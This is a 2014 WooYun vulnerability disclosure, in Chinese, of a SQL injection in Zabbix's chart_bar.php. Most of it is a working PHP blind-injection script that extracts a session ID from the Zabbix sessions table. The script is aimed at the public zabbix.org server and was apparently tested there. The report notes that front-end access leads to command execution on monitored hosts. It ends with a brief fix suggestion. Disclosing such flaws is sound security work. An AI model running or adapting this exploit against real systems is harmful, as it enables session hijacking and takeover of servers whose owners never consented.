当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-072075

漏洞标题:Zabbix的前台SQL注射漏洞0day一枚(官方测试受到影响)

相关厂商:zabbix

漏洞作者: Map

提交时间:2014-08-12 15:33

修复时间:2014-11-10 15:34

公开时间:2014-11-10 15:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-12: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-11-10: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

在zabbix前端存在一个SQL注射漏洞,由于zabbix前台可以在zabbix的server和client进行命令执行,所以这会导致很严重的后果。

详细说明:

在 /chart_bar.php 的163行代码 获取了一个来自GET,POST,COOKIE的值itemid。
$itemid = $item['itemid'];
最后这个参数进到了SQL查询的过程

zzzzxl.jpg


在同一个文件内的$periods参数也存在一样的问题,导致了一样的SQL注射漏洞。

漏洞证明:

针对这个问题,我写了一个poc,在http://www.zabbix.org/zabbix/上测试通过。

zabbix.jpg


<?php
run_sql("SELECT sessionid from zabbix.sessions where userid in (select userid from zabbix.users) limit 1");
function run_sql($sql) {
$url = 'http://www.zabbix.org/zabbix/chart_bar.php';
$data = 'config=1&items[][itemid]='.rawurlencode('6 and 1=2#');
$true = strlen(post($url,$data));
//’“≥§∂»
for($i=0;$i<=32;$i++) {
//echo $i."\r\n";
$data = 'config=1&items[][itemid]='.rawurlencode('6 and length(('.$sql.')) = '.$i.'#');

$test = strlen(post($url,$data));

if($test < ($true - 200)) {
$length = $i;
break;
}
}
echo 'Length:'.$length."\r\n";
echo 'Result:';

$chars = array();
if($length) {
for($l=0;$l<$length;$l++) {
$char_list = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@.?-_\/!$%^&*()~';
for($c=0;$c<strlen($char_list);$c++) {
$data = 'config=1&items[][itemid]='.rawurlencode('6 and ord(substring(('.$sql.'),'.($l+1).',1)) = '.ord($char_list{$c}).'#');
$test = strlen(post($url,$data));
if($test < ($true - 200)) {
echo $char_list{$c};
$chars[$l] = $char_list{$c};
break;
}
}
}
}
}
echo "\n";
function post($uri,$data) {
$ch = curl_init ();
curl_setopt ( $ch, CURLOPT_URL, $uri );
curl_setopt ( $ch, CURLOPT_POST, 1 );
curl_setopt ( $ch, CURLOPT_HEADER, 0 );
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt ( $ch, CURLOPT_POSTFIELDS, $data );
$return = curl_exec ( $ch );
curl_close ( $ch );
return $return;
}
?>

修复方案:

使用 zbx_dbstr 函数处理变量。
或者使用
svn://svn.zabbix.com/branches/dev/ZBX-8582
分支上的chart_bar.php进行修复。

版权声明:转载请注明来源 Map@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝